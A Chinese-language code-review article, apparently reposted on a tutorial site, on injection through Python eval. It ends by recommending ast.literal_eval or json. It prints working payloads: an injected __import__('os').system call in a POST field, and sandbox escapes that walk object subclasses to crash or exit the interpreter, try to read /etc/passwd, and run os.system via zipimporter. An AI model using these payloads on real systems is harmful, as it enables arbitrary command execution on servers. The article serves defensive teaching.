這篇文章帶給大家的內容是關於Python eval的常見錯誤封裝及利用原理的介紹,有一定的參考價值,有需要的朋友可以參考一下,希望對你有所幫助。
最近在程式碼審查的過程,發現挺多錯誤使用eval導致程式碼注入的問題,比較典型的就是把eval當解析dict使用,有的就是簡單的使用eval,有的就是錯誤的封裝了eval,供全產品使用,這引出的問題更嚴重,這些都是血淋淋的教訓,大家使用的時候多加註意。
下面列舉一個實際產品中的例子,詳情見[bug83055][1]:
def remove(request, obj): query = query2dict(request.POST) eval(query['oper_type'])(query, customer_obj)
而query就是POST直接轉換而來,是用戶可直接控制的,假如用戶在url參數中輸入oper_type=__import__('os').system('sleep 5') 則可以執行指令sleep,當然也可以執行任意系統指令或任意可執行程式碼,危害是顯而易見的,那我們來看看eval到底是做什麼的,如何做才安全?
1,做什麼
簡單來說就是執行一段表達式
>>> eval('2+2') 4 >>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""") {'ip': '10.10.10.10', 'name': 'xiaoming'} >>> eval("__import__('os').system('uname')", {}) Linux 0
從這三段程式碼來看,第一個很明顯做計算用,第二個把string類型資料轉換成python的資料類型,這裡是dict,這也是咱們產品中常犯的錯誤。第三個就是壞小子會這麼乾,執行系統指令。
eval 可接受三個參數,eval(source[, globals[, locals]]) -> value
globals必須是路徑,locals必須是鍵值對,預設取系統globals和locals
2,不正確的封裝
(1)下面我們來看一段咱們某個產品代碼中的封裝函數,見[bug][2],或網絡上搜尋排名比較高的程式碼,eg:
def safe_eval(eval_str): try: #加入命名空间 safe_dict = {} safe_dict['True'] = True safe_dict['False'] = False return eval(eval_str,{'__builtins__':None},safe_dict) except Exception,e: traceback.print_exc() return ''
在這裡__builtins__ 置為空了,所以像__import__ 這是內建變數就沒有了,這個封裝函數就安全了嗎?下面我一步步道來:
>>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
列表項目
'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', ' ZeroDivisionError', '_', ' debug ', ' doc ', ' import ', ' name ', ' package ', 'abs', 'all', 'any', 'apply', 'basestring', 'bin' , 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', ' credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format' , 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', ' issubclass', 'iter', 'len', 'license', 'list', 'locals', '長', 'map', 'max', 'memoryview', 'min', 'next', 'object' , 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', ' reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr' , 'unicode', 'vars', 'xrange', 'zip']
從__builtins__ 可以看到其模組中有__import__ ,可以藉助用來執行os的一些操作。如果置為空,再去執行eval函數呢,結果如下:
>>> eval("__import__('os').system('uname')", {'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module> NameError: name '__import__' is not defined
現在就是提示 __import__ 未定義,不能成功執行了,看情況是安全了吧?答案當然是錯的。
例如執行如下:
>>> s = """ ... (lambda fc=( ... lambda n: [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == n ... ][0] ... ): ... fc("function")( ... fc("code")( ... 0,0,0,0,"test",(),(),(),"","",0,"" ... ),{} ... )() ... )() ... """ >>> eval(s, {'__builtins__':{}}) Segmentation fault (core dumped)
在這裡用戶定義了一段函數,這個函數調用,直接導致段錯誤
下面這段程式碼則是退出解釋器:
>>> >>> s = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "Quitter" ... ][0](0)() ... """ >>> eval(s,{'__builtins__':{}}) liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $
初步理解一下整個過程:
>>> ().__class__.__bases__[0].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]
這句python程式碼的意思就是找tuple的class,再找它的基類,也就是object,再透過object找他的子類,具體的子類別也如程式碼中的輸出一樣。從中可以看到了有file模組,zipimporter模組,是不是可以利用呢?首先從file入手
假如用戶如果構造:
>>> s1 = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "file" ... ][0]("/etc/passwd").read()() ... """ >>> eval(s1,{'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 6, in <module> IOError: file() constructor not accessible in restricted mode
這個restrictected mode簡單理解就是python解釋器的沙盒,一些功能被限制了,比如說不能修改系統,不能使用一些系統函數,如file,詳情請見Restricted Execution Mode ,那要如何繞過呢?這時我們就想到了zipimporter了,如果引入的模組中引用了os模組,我們就可以像如下程式碼來利用。
>>> s2=""" ... [x for x in ().__class__.__bases__[0].__subclasses__() ... if x.__name__ == "zipimporter"][0]( ... "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module( ... "configobj").os.system("uname") ... """ >>> eval(s2,{'__builtins__':{}}) Linux 0
這就驗證了剛才的safe_eval其實是不安全的。
3,如何正確使用
(1)使用ast.literal_eval
(2)如果僅僅是將字元轉為dict,可以使用json格式
這篇文章到這裡就已經全部結束了,更多其他精彩內容可以關注PHP中文網的python影片教學專欄!
以上是Python eval的常見錯誤封裝及利用原理的介紹的詳細內容。更多資訊請關注PHP中文網其他相關文章!